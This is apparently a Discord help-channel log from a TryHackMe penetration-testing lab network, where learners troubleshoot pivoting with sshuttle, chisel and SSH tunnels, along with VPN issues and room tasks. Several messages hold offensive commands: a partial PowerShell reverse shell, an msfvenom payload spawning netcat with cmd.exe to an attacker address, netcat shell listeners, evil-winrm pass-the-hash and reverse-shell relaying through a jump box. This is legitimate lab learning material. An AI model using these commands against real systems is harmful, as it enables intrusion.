run it through the port you specified in your chisel commadn/proxychains.conf
because curl works, there shouldn't be a problem with your proxy
obtuse chasm
😂 dumb me thanks bro sorry if i have been disturbing you
ember solstice
Glad i could help, have fun with the network 
mighty elk
Hello 👋 Uhm in the task 29, the agent in the git-serv dies/goes Stale everytime, is it normal? 🤔
Thanks!!
Btw Empire is just so damn awesome 
...sure when it works lol
pallid vapor
@mighty elk the empire tasks have been causing issues for me and other ppl, i think they are trying to get it fixed
mighty elk
@pallid vapor Ohhh..... so sad tbh it’s one of the most interesting breathtaking tasks in the room
rapid turret
Guys can you fix the .112 subnet
merry robin
Guys can you fix the .112 subnet
What's wrong with it?
rapid turret
Its working know bat not for the last 2 hours
merry robin
Btw Empire is just so damn awesome <:pikapika:689626579365920779> ...sure when i...
Yeah, there's a little bug with the http_hop listener that's been fixed, but doesn't seem to have made its way into the main repo just yet 🙂
How odd
mighty elk
Yeah, there's a little bug with the http_hop listener that's been fixed, but doe...
It’s been fixed on... github? I will try redownloading Empire and test it with the CLI mode
Btw, if anyone get a segmentation fault error when trying to use Empire on headless mode, update kali with full-update. I had issues and previously and the full-update fixed it. 👍
dry pendant
Have a look into "updog"
Thanks for the recommendation! Obligatory: what's 'updog' ?
pallid vapor
It’s been fixed on... github? I will try redownloading Empire and test it with t...
i beliiiiieve its a closed fork so uh
yeah gotta wait sorry D:
merry robin
Thanks for the recommendation! Obligatory: what's 'updog' ?
I am not falling for that again
dry pendant
again?
merry robin
... Don't ask
dry pendant
lol, fair enough
is there a good/reliable way of seeing what ports are open on the current machine?
strange bison
Like, from inside the machine?
dry pendant
right
strange bison
ss -tulpn for Linux
Would be netstat but netstat is deprecated. netstat -tulpn if netstat is installed. Gives a bit more of a readable output
dry pendant
thank you. That'll help me make more sense of the pivoting stuff
it seems like that's not entirely accurate- I currently have both an ssh connection and an sftp connection to another machine, but only a single item is listed- a upd port (45848)
strange bison
Are you asking for "what ports are open" or "active connections"?
because they're different
dry pendant
both. Although I suppose my original question was intended to be more of the latter- active conn's
strange bison
Ok, I'd recommend a quick google search then
dry pendant
in task 17, for the tcp ports in ascending order question- I have more ports than I should. Easy enough to figure out the right order for the answer, just mentioning it in case that indicates something might be off with that network
merry robin
Chances are some twit decided to ignore the advice and stick chisel on a port below 15000
dry pendant
139, 445, 5357 are extras on mine, but you mention the last one
merry robin
Someone turned off the firewall...
mellow kiln
Rip my .bak files got corrupted, think someone process killed my netcat before they downloaded
was sooo close
imma switch networks
dry pendant
so I should ignore 139 and 445? pretend those ports aren't open?
somber blade
anyone having issues with connecting with sshuttle
mine isn't working, i used -r nothing but -e works still nothing
dry pendant
I haven't gotten that far, sorry
somber blade
anyone?
lapis yacht
Unable to reach 10.200.81.200 ....
loud talon
Thank you so much @strange bison and @limber rover now I can connect to #wreath-network, really appreciated buddies! ❤️
loud talon
Unable to reach 10.200.81.200 ....
have you tried to close your network connection, regenerate the .ovpn file, download it and try to connect again?
I tried that early and it worked
lapis yacht
I disconnected an try to connect again
waxen nebula
Remember the wreath ovpn is different to your regular one
loud talon
Thank you soooo much @merry robin for such amazing and superb room!!! 💯 💯 💯 💯 💯
lapis yacht
Yes i use another .ovpn file for this one
I sill recreate the file and download again
I tell you...
loud talon
I sill recreate the file and download again
actually I had to do that twice idk but at the second time worked
loud talon
Not working
any issue while doing: sudo openvpn yamitar-wreath.ovpn ? o_O
lapis yacht
nop
loud talon
uhh...
lapis yacht
I reach my first hope only
But routing not working
.1
and there stops i think
Some days ago I had the same issue
I they reset something
do not worry tomorrow I will review it again
loud talon
sorry mate, I had some issues early while trying to reach the network but after recreating the .ovpn network file and trying connecting again twice it worked 🤷♂️
lapis yacht
I wanted to check some commands I have problems with related to chisel but.........
Do not worry
loud talon
good luck for tomorrow then, all the best with other rooms 🙂
lapis yacht
Thanks for your time helping
loud talon
anytime buddy! ^^
lapis yacht
🙂
somber blade
can anyone help with the sshuttle?
drowsy pine
What is confusing you about it?
dry pendant
I was able to get a sshuttle connection between .200 and .150 pretty easily, following the instructions in Muiri's awesome writeups ( ❤️ Muiri). Enough to at least get me to the web page on .150
dry pendant
although now sshuttle refuses to die no matter what kill statement I throw at it 🤔
seemed the 'jobs' command was retaining a link to it and keeping it alive
how long should the ||gitstack|| exploit take to run? Mine seems to be hanging while retrieving the user list
but manually GETing that url comes back immediately
hm. 100% packet loss when I ping the .150 server, but I can do get's in a web browser just fine. No proxies configured, just sshuttle
somber blade
What is confusing you about it?
not confused just that i used the -r switch and i got nothing
merry robin
hm. 100% packet loss when I ping the .150 server, but I can do get's in a web br...
Windows firewall blocks ICMP echo by default, so that's normal.
The exploit not working, not so much -- that should be instant
dry pendant
yeah, that's what I thought. But it's timing out when trying to make a request (the exploit)
somber blade
@merry robin please can i share the command i'm using with shhuttle with you ?
dry pendant
4/6
merry robin
I would try to push for that reset if I were you. I'm 3/4 asleep so I can't really patch it manually I'm afraid
merry robin
<@!650476435269484549> please can i share the command i'm using with shhuttle wi...
What's up?
dry pendant
no worries
somber blade
What's up?
will Pm with your permission?
merry robin
Why not put it here? Might help other people with the same problem if it's in the public chat :)
dry pendant
I can share the command I used
somber blade
Why not put it here? Might help other people with the same problem if it's in th...
alright will do
sshuttle -r root@10.220.xxx.xxx --ssh-cmd "ssh -i id_rsa" 10.200.xxx.x/24 -x 10.220.xxx.xxx
i did this and i got no connection all i got is an error?
somber blade
where?
merry robin
Both places where you've put 10.220
dry pendant
root@
merry robin
Also with the exclusion
somber blade
you lost me
merry robin
There are no IP addresses on 10.220.xxx.xxx
It should be 10.200.xxx.xxx
Specifically 10.200.xxx.200
somber blade
yeah that's what i'm using lemme just send it over via a PM so you can see don't wanna send it in here 😆
merry robin
Go for it then
somber blade
but i got no connections lol
dry pendant
hm. I can curl /rest/user and get the user list back, but the python exploit just wants to hang. I can't think of an explanation for that
merry robin
Odd
somber blade
Thanks @merry robin Bless you
dry pendant
yeah. Guess I'll get some curl practice in, converting python to curl commands and doing it the old fashioned way 🤷♂️
merry robin
Np 🙂
merry robin
yeah. Guess I'll get some curl practice in, converting python to curl commands a...
Heh, it's good practice at least
God knows what's happening with the exploit though
dry pendant
yeah, that's just odd. I even tried python2 <exploit.py>, same issue
it's like python is being excluded from the sshuttle connection
merry robin
Just double check that's right?
dry pendant
okay, that's even weirder. I'm wondering if maybe it was a line encoding issue. The number was correct, but just for giggles, I pasted the IP in from my curl command, instead of manually typing it like before. Worked right away.
and I did do the dos2unix earlier
dry pendant
indeed. But hey, at least I don't have to manually do a bunch of curl now 🙂
merry robin
Yep 😆
dry pendant
you're just a good luck charm, I s'pose
merry robin
Np 😄
uneven whale
Anyone else getting 404 when downloading the connection pack to the network ?
lavish nest
Hello World!
I need some help, as I'm stuck and I've been stuck for a few hours and I can't get out of this step.
In the last part,Task 20, when I run :powershell.exe -c "$client = New-Object System.Net.Socke............... "http://127.0.0.1:8008/web/......." I just get a ""
I have my nc listening but I don't get the PS c:
what am I doing wrong?
Thanks.
lavish nest
Sorry, with the last reset, I did not make the port permanent.
lavish nest
ssh: connect to host 10.200.106.200 port 22: No route to host
tardy bloom
A question about Task #19: the exploit works but i wanted to try the same using curl but I think the quotes aren't handled correctly or I have another mistake in formatting:
||
curl --socks5 127.0.0.1:11337 -X POST http://10.200.87.150/rest/user/ -H "Content-Type: application/json" -d '{"username" : "SefD", "password" : "trO1oViwochl60sADlTU"}'
'Key 'username' not found in <QueryDict: {u'{"username" : "SefD", "password" : "trO1oViwochl60sADlTU"}': [u'']}>' ||
any1 know where's the error?
lapis yacht
10.200.81.200 up & runnig again this morning thanks!
surreal sail
Task 32: I don't get any output from the PowerShell script. Does anyone have any advice for me?
merry robin
@surreal sail I'm surprised that's not erroring out actually
You need to initialise it first
surreal sail
You need to initialise it first
thx. for the hint, i have done it, but the same result. :/
merry robin
Try:
Invoke-Portscan.ps1
Get-Help Invoke-Portscan```Oh, did you upload the script rather than using the -s switch @surreal sail?
merry robin
So do it with -s then try the commands I just gave you in order
surreal sail
ok
dark venture
hey muiri!
crude drift
hey muiri!
Did u submitted the report man?
dark venture
I have kinda made a small typo mistake in the report that i submitted...... can I submit it again and remove the link for the previous one?
surreal sail
my fault, i have to use: Get-Help Invoke-Portscan not Get-Help Invoke-Portscan.ps1 thx.!!!
merry robin
I have kinda made a small typo mistake in the report that i submitted...... can ...
Yep, go for it :)
dark venture
thank you so much!
merry robin
I can reject the first one for you
surreal sail
PowerShell and I will not become friends xD
dark venture
It was just one word typo and I realised it rn
merry robin
It happens
dark venture
Thanks man
merry robin
Np 🙂
Just rejecting the old one now
crude drift
I have problems with the connection from yesterday
My friend also has the same problem with vpn config and the ping @merry robin
merry robin
Was it working after the reset @rapid turret?
crude drift
.112 subnet
They are not able to connect to ssh and also they are not getting any ping results
merry robin
Same subnet @crude drift?
rapid turret
Was it working after the reset <@702420865253376061>?
Yes
I changed my subnet and its working know
dark venture
Thanks a lot muiri! Just submitted the corrected writeup!
crude drift
Same subnet <@723850614731309126>?
@lilac jasper come and share ur issue man
merry robin
I was gonna say, make sure that the network is actually started, but that works too 🤷♂️
crude drift
I was gonna say, make sure that the network is actually started, but that works ...
Mine is properly working but my friend don't get a ping even after regenerating and downloading the vpn file
merry robin
Regenerating the config is unlikely to do anything.
Much more likely that either the network is asleep or 200 is down
I'm getting a panel on the site so I can check that, soon, but it's not implemented yet so for the time being I have as much information as you lot 🤷♂️
If the network is saying active but you can't access the machine, go for a reset
crude drift
Hmm ok man I will let them know
They have the problem of this #wreath-network message
lilac jasper
I was gonna say, make sure that the network is actually started, but that works ...
yeah i checked that but still not working
the thm vpn is working
merry robin
Go for a reset then
lilac jasper
did
merry robin
If it's not working immediately after a reset then it's something at your end
tardy bloom
Hey @merry robin may I DM you about ||the "passwdfile" on git-serv?||
merry robin
Aye, sure
ancient harbor
hey guys, could you please help me with ssh forwarding reverse shell from ||gitstack (TARGET) to attacking box (ATCK) through the webserver (JUMP)||?
I combined approach from the THM-Wreath room with https://www.ired.team/offensive-security/lateral-movement/ssh-tunnelling-port-forwarding.
On ATCK:
I have created a new pair of keys, edited authorized_keys exactly as the room said.
I have ||put private id_rsa key for forwarding into the JUMP||. Then I set up a nc -nvlp 443 (tried both with and without -e /bin/bash) and ||set SSH forwarding for high number port on JUMP to ATCK. The syntax was: ssh -L 19999:ATCK:443 root@ATCK -N -f||. Succesfully connected:
Authenticated to ATTCK ([ATTCK]:22).
debug1: Local connections to LOCALHOST:19999 forwarded to remote address ATTCK:443
- set a 19999 to be allowed by firewall on JUMP (firewall-cmd --zone=public --add-port 19999/tcp as stated in the room) and used ||in Burpsuite: "a=powershell reverse shell" from the room, url-encoded, that used 'JUMP',19999 IP,PORT. JUMP ssh tunnel, which should forward it to ATCK set NC listener according to all manuals.||
But I can't get it to work, what I am doing wrong, please?
Any help would be much appreciated, even if you did it differently than ssh (I try to avoid using static binaries on JUMP tho)
lilac jasper
┌──(rootDESKTOP-7K6I4IF)-[~/Documents/Wreath]
└─# sshuttle -r root@10.200.106.200 10.200.106.150/12 --ssh-cmd "ssh -i id_rsa" -x 10.200.106.200
c : Connected to server.
Warning: iptables-legacy tables present, use iptables-legacy to see them
iptables v1.8.7 (nf_tables): CHAIN_ADD failed (No such file or directory): chain OUTPUT
Warning: iptables-legacy tables present, use iptables-legacy to see them
iptables: Bad rule (does a matching rule exist in that chain?).
fw: fw: error: fw: ['iptables', '-t', 'nat', '-D', 'OUTPUT', '-j', 'sshuttle-12300'] returned 1
iptables: Bad rule (does a matching rule exist in that chain?).
fw: fw: error: fw: ['iptables', '-t', 'nat', '-D', 'PREROUTING', '-j', 'sshuttle-12300'] returned 1
fw: fatal: fw: ['iptables', '-t', 'nat', '-I', 'OUTPUT', '1', '-j', 'sshuttle-12300'] returned 4
c : fatal: cleanup: ['/usr/bin/python3', '/bin/sshuttle', '--method', 'auto', '--firewall'] returned 99
can someone help me with this ??
strange bison
Is that WSL? 1 or 2?
merry robin
@ancient harbor are you able to connect to 19999 from your attacking machine?
What happens if you do nc JUMP 19999 from ATCK?
ancient harbor
<@358290962063032334> are you able to connect to 19999 from your attacking machi...
seems not
nc ATTCK 19999
(UNKNOWN) [ATTCK] 19999 (?) : Connection refused
merry robin
Oh, I know what's happening there
Kill the SSH job and specify to listen on 0.0.0.0:19999
They listen on 127.0.0.1 by default
strange bison
@lilac jasper Is that WSL? 1 or 2?
ancient harbor
They listen on 127.0.0.1 by default
nice, how would the syntax look like for that?
||ssh -L 0.0.0.0:19999:ATTCK:443 root@ATCK -Nfv||
ancient harbor
So, this doesn't look like it
debug1: Local connections to 0.0.0.0:19999 forwarded to remote address ATTCK:443
debug1: Local forwarding listening on 0.0.0.0 port 19999.
when I try nc from ATTCK to JUMP:19999, same issue:
nc JUMP 19999
(UNKNOWN) [JUMP] 19999 (?) : Connection refused
merry robin
Use netcat on the attacking machine to connect to 19999 on the Jump?
ancient harbor
Yeah, this connection refused is it
... but maybe it's because of the firewall rule on port 19999 set to --zone=public?
ancient harbor
So, this doesn't look like it
debug1: Local connections to 0.0.0.0:19999 forwa...
sorry, corrected that IP
merry robin
Lemme see if I can get this working
ancient harbor
Great, thank you so much!
lilac jasper
<@436484848216178688> Is that WSL? 1 or 2?
2
strange bison
.../12?
lilac jasper
WSL 2
strange bison
Are you not routing 10.200.106.0/24 through sshuttle?
ancient harbor
[FWIW, the network stopped in-between my testing, I started it again, but can't connect anymore into JUMP (ping, ssh, nmap... all say no route to host)]
lilac jasper
same prob wait for few min and start again
not able to ping also know @ancient harbor ??
@strange bison
┌──(root💀DESKTOP-7K6I4IF)-[~/Documents/Wreath]
└─# sshuttle -r root@10.200.106.200 --ssh-cmd "ssh -i id_rsa" 10.200.106.150/24 -x 10.200.106.200
c : Connected to server.
Warning: iptables-legacy tables present, use iptables-legacy to see them
iptables v1.8.7 (nf_tables): CHAIN_ADD failed (No such file or directory): chain OUTPUT
Warning: iptables-legacy tables present, use iptables-legacy to see them
iptables: Bad rule (does a matching rule exist in that chain?).
fw: fw: error: fw: ['iptables', '-t', 'nat', '-D', 'OUTPUT', '-j', 'sshuttle-12300'] returned 1
iptables: Bad rule (does a matching rule exist in that chain?).
fw: fw: error: fw: ['iptables', '-t', 'nat', '-D', 'PREROUTING', '-j', 'sshuttle-12300'] returned 1
fw: fatal: fw: ['iptables', '-t', 'nat', '-I', 'OUTPUT', '1', '-j', 'sshuttle-12300'] returned 4
c : fatal: cleanup: ['/usr/bin/python3', '/usr/bin/sshuttle', '--method', 'auto', '--firewall'] returned 99
ancient harbor
yeah unfortunately Destination Host Unreachable, even after a few minutes. But not in rush, may try after a restart or so
merry robin
@ancient harbor Apologies -- needed to get my dev network reset.
So, it's to do with a setting in the sshd_config called GatewayPorts. If that's disabled (which it is by default), then SSH won't bind to anything that isn't a loopback address
Meaning you have a choice between changing the SSH config, or uploading a static binary
ancient harbor
<@!358290962063032334> Apologies -- needed to get my dev network reset.
Absolutely no problem, thank you for helping and also the amazing room (one of the best out there, really)!
So if I change the sshd_config, ||which is fine with root acc anyway||, the method works?
To explain, I don't really like static binaries because of the AVs - ||not that it would be on the JUMP box, anyway, but|| it's the same for me as meterpreter/metasploit - I never use it not to get used to it. Not that root ssh connections, firewall and sshd config changes are that much stealthier ofc 🙂
I have one more question if you'd be willing to answer (and it's ok if not) - would it be possible to set a port fwd/NAT rule (iptables, like the sshuttle uses) instead of ssh tunnel ||- on the JUMP to forward the reverse shell from gitstack/TARGET||?
merry robin
It would, although given the fact the network is shared, I would prefer you didn't 😆
ancient harbor
I meant for one of the high ports on specific address, but I get you 😄 iptables are finnicky at best from the limited testing I did on them
lilac jasper
┌──(root💀DESKTOP-7K6I4IF)-[~/Documents/Wreath]
└─# sshuttle -r root@10.200.106....
@merry robin sir can you explain me this error??
ancient harbor
So anyway, many thanks for the help again and hopefully be seeing more amazing rooms like this from you! 🙂
merry robin
<@!650476435269484549> sir can you explain me this error??
Looks like a host issue. Are you on WSL by any mischance?
lilac jasper
yes WSL 2
merry robin
I meant for one of the high ports on specific address, but I get you 😄 iptabl...
That should be fine then if you wanna experiment. Just be aware that firewalld as a wrapper around iptables may be a little less happy
winged parcel
Anyone else getting 404 when downloading the connection pack to the network ?
I have the same problem since yesterday, cant download the ovpn config file for wreath network, gave me a 302 bad gateway or 404 not found
ancient harbor
@merry robin Yea, I thought so. But this syntax should deal with that, right?
firewall-cmd [--zone=<zone>] --add-forward-port=port=<port>[-<port>]:proto=<protocol> {:toport=<port>[-<port>]|:toaddr=<address> |:toport=<port>[-<port>]:toaddr=<address> }
winged parcel
i can download the vpn config file for room tough, it's only the one specific to wreath network that gave me error
merry robin
It's not something I've tried with firewalld @ancient harbor. Give it a shot to see though!
ancient harbor
yup, so thanks again!
hazy acorn
cant install the wreath network vpn i am confused
sly spear
Can you show a screenshot instead?
hazy acorn
it just redirects to 404 page when i try to install the wreath network vpn
merry robin
@fiery ingot this seems to be happening really frequently -- any ideas?
heady pebble
hi all this is my first post in this room and in general on tryhackme...
i am doing this room and for fun trying nmap via proxychain
i have olways socket error or timeaout
fiery ingot
yeah i can take a look - what subnet are you on?
heady pebble
what i have done is:
ssh -D 15700 root@10.200.97.200 -fN -i idrsa
so i have the tunnel
then set proxychains.con
and proxychain nmap -Pn -n -St 10.200.97.0/24
sorry form my bad english be patient
i am doing something wrong ?
this is my ip 10.50.98.8
distant folio
Hello, when copying the wrapper with SMB to the %TEMP% directory i am getting copy : Could not find a part of the path 'C:\%TEMP%\... , do not know if I am doing something wrong or the %TEMP% directory should be created and it is not written in the section. Anyway I've used another directory.
strange bison
i am doing this room and for fun trying nmap via proxychain
Nmap and proxychains does NOT work well
final olive
Woke up wiht a fresh morning with the excitement of continuing Wreath network.
C...
Muiri — 03/28/2021
@pale seal you're in my dev subnet for a start. Try leaving, rejoining, then redownloading the config pack
Shall i do the same as above?
distant folio
TASK42: Are msfvenom executables picked up by the windows antivirus? I am trying to create a service using this command ||msfvenom -p windows/exec CMD="c:\windows\temp\nc-Username.exe IP PORT -e cmd.exe" -f exe-service -o exec.exe ||, if i run the command in by itself it works fine and i get a shell, but if i try to execute it by restarting the service i do not get a shell and also i get the error The executable program that this service is configured to run in does not implement the service., which is strange since the filetype specified in msfvenom is exe-service... Also i've tried getting a reverse shell using the payload windows/shell/reverse_tcp and the proper parameters but had no luck. The C# wrapper works fine.
merry robin
TASK42: Are msfvenom executables picked up by the windows antivirus? I am trying...
Even defender should be picking up anything msfvenom
It's a hopeless AV, but if that works I'd be amazed
distant folio
Oh ok thank you 🙂
distant folio
It's a hopeless AV, but if that works I'd be amazed
Is really defender working? Winpeas says that no AV was detected, or maybe winpeas says consideres defender as having no AV which is kinda fun
merry robin
There's a chance some twit disabled it, yes
You won't have access to reboot it, so if you want me to take a look you'll need to disconnect from the VPN and DM me the config I'm afraid
lyric bane
Im getting a connection reset error in firefox for task 33. ||I have a sshuttle proxy going in the network and a chisel forward proxy set up and connected. I'm using foxy proxy to navigate my traffic through chisel and firefox says the connection was reset. I have also configured the firewall rule to allow traffic on the windows machine||.
merry robin
Show me your FoxyProxy settings?
lyric bane
Show me your FoxyProxy settings?
strange bison
What type of proxy did you start with chisel?
lyric bane
@strange bison a forward proxy as recommended in the task.
on the target || .\chisel-chekn8.exe server -p 46000 --socks5||
and on my end || client 10.200.98.150:46000 10000:socks||
ionic river
strange bison
on the target || .\chisel-chekn8.exe server -p 46000 --socks5||
and on my end |...
So you started a socks5 proxy. In foxyproxy, you have it set as a HTTP proxy.
lyric bane
So you started a socks5 proxy. In foxyproxy, you have it set as a HTTP proxy.
Should've caught that one. Its loading now. Thanks!
austere sandal
why does it say i only have 9 days of access left?
blazing rock
why does it say i only have 9 days of access left?
When you join the room, you get 10 days of access.
austere sandal
and if you want more than 10 days?
strange bison
You can rejoin after those days of access, it's a way of avoiding inactive people taking up slots in networks.
austere sandal
ahhh ok ty
next imp
Need help on task 20 getting a || proper shell || on the ||gitstack|| using socat, my payload is not working, i have tried multiple other payloads and methods. i have also tried listening on netcat and have still recieved no connections. || commands like dir and whoami|| execute fine and yes i have specified the ports i will be making connections to with the firewall cmd. help is appreciated 🙂
merry robin
@next imp Are you able to connect to port 30123 from your attacking machine?
merry robin
As in, does anything come through if you do nc 10.200.83.200 30123 To clarify
next imp
my local port
giving it a shot
yup @merry robin
not sure what the issue im experiencing is
merry robin
Okay, so that would indicate your reverse shell is wrong
next imp
ive gone through a selection of shells, including the one on the task
ill try again, but mabye its my curl command or something?
am i supposed to be using proxychains to access the gitstack server?
merry robin
Yeah, that's weird. The shell looks Okay
Not decoded it though obviously. Just check it over for typos
I wouldn't, personally, given you could be using sshuttle
merry robin
It does it through firewall rules, but it's basically a mono-directional VPN
merry robin
Yep -- no need for proxying software. It lets you just access the IPs normally
Awesome tool
winged parcel
I downloaded the vpn configuration file, it work now ty!
strange bison
You shouldn't need -Pn for the initial box.
lilac ibex
it's just closed
well on that network at least
@strange bison for some reason can only see the port is open from the attack box????
strange bison
If you have the attackbox running, that autoconnects to the Wreath VPN
You can't have the attackbox running AND your own VM connected to wreath
lilac ibex
@strange bison ya but using the username-wreath.ovpn just returns the port as filtered or closed
strange bison
Ok, but if the attackbox is running then you basically have multivpn
lilac ibex
it was filtered before started the attack box
@strange bison scan from my machine = closed/filtered
scan from attack machine = open
even after network rest
and even after trying to remake the ovpn conf file
strange bison
So you're not connected properly then
lilac ibex
I can connect to other single room machines just fine, just not Wreath
fervent obsidian
Btw Empire is just so damn awesome <:pikapika:689626579365920779> ...sure when i...
The listener issue should be resolved now. Let us know if 3.8.2 is still having a problem so we can be sure to check it out.
strange bison
I can connect to other single room machines just fine, just not Wreath
I mean that's a different config file so...
strange bison
You should not be using -Pn
And you CANNOT have the attackbox running at the same time.
Your VPN connection is unstable. Usually that's MultiVPN.
lilac ibex
Sure don't use more than one VPN connection. But how come it doesn't seem to work with one outside of the attack box?
strange bison
I can't see the output of your VPN command so I don't stand a chance of diagnosing it from here.
The attackbox uses your wreath & throwback profiles automatically if you are a subscriber and have access to any networks.
This will break any other connection to Wreath or Throwback that you have.
lilac ibex
well it works for 85.0/24 network 92.0/24 didn't work at all for 2 days and with attack box or kali box not turned on
round tree
After exploiting the web server, I can't get the reverse shell to work even though it worked yesterday
viscid flame
Was anyone able to solve problem with config file being downloaded as a html page instead of openVPN file? (Wreath network)
lusty shell
hey, I reach Task - 6 (Exploitation) and also found id_rsa ssh private key but the id_rsa file is empty
is something wrong with the file?
ember solstice
Muiri do you accept writeups for the network?
grizzled snow
Leave and rejoin the room please <@!204180984826953729> 🙂
Welp. Why is my openvpn file downloading as a HTML file? This seems to be my issue as well. Same IP 10.200.71.200. I've left and rejoined a couple of times, still same HTML file.
merry robin
Muiri do you accept writeups for the network?
Have a look at Task 44
merry robin
Welp. Why is my openvpn file downloading as a HTML file? This seems to be my iss...
@limber rover looks like you might need to move manually?
merry robin
hey, I reach Task - 6 (Exploitation) and also found id_rsa ssh private key but ...
Someone is trolling and has deleted the key. Please disconnect and DM me the openvpn config file
ember solstice
Have a look at Task 44
@merry robin so there SHOULD be a written report with a link to the video at the end of it ? Or just the video is ok ?
lusty shell
@merry robin done
merry robin
> Have a look at Task 44
<@!650476435269484549> so there SHOULD be a written re...
In terms of actual writeups being accepted on the room, yes, a written report (as if it were a pentest), but with a link to a video at the end if you have one 🙂
limber rover
<@!243160021674754048> looks like you might need to move manually?
Moved - this bug is next on my list of to-dos to fix:)
merry robin
Thanks 😄
karmic halo
I need a clarification
Do I need 8 days streakto join wreath?
since 7 days streak doesnt let me in 😦
karmic halo
@merry robin
merry robin
It should be 7 days, but I think there might be a little bug with that. The admins are aware
karmic halo
thanks muir
supple onyx
I am also unable to download the VPN details . I am in the room with network IP 10.200.71.200 after leaving and rejoining. Kindly help
Thanks
sly spear
I'm having issues running nmap on prod-serv
dry pendant
looks like the nmap file might be a webpage? Did your download/file transfer of that file succeed?
sly spear
Yeah and it can run on my host machine
dry pendant
just as a sanity check, open the nmap executable in your favorite text editor
dry pendant
well that's a good sign, that's kinda what compiled code should look like
So then I have no clue why you're getting those error messages for line 1/line 2. I was thinking that was within the "exe" itself, but apparently not
sly spear
It transferred fine it seemed. Maybe I'll look for another route
dry pendant
I never use the CIDR notation for nmap. Is it possible that is something that wasn't a valid flag in nmap v6, which I think the static binary is?
maybe just try nmap <ip> -p 80 and see if it runs?
lavish nest
sudo evil-winrm -u Administrator -H ......fail Reset Again....:)
sly spear
It took a nap lol
dry pendant
naps good for hackers. bad for networks.
sly spear
Lmao
Got my shell back
Yeah, nmap won't run at all on prod-serv
Maybe I'll try rustscan
sly spear
No, I just downloaded the binary to my host and moved it over
jagged lion
downloaded from where
sly spear
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap?raw=true
The link provided in the task
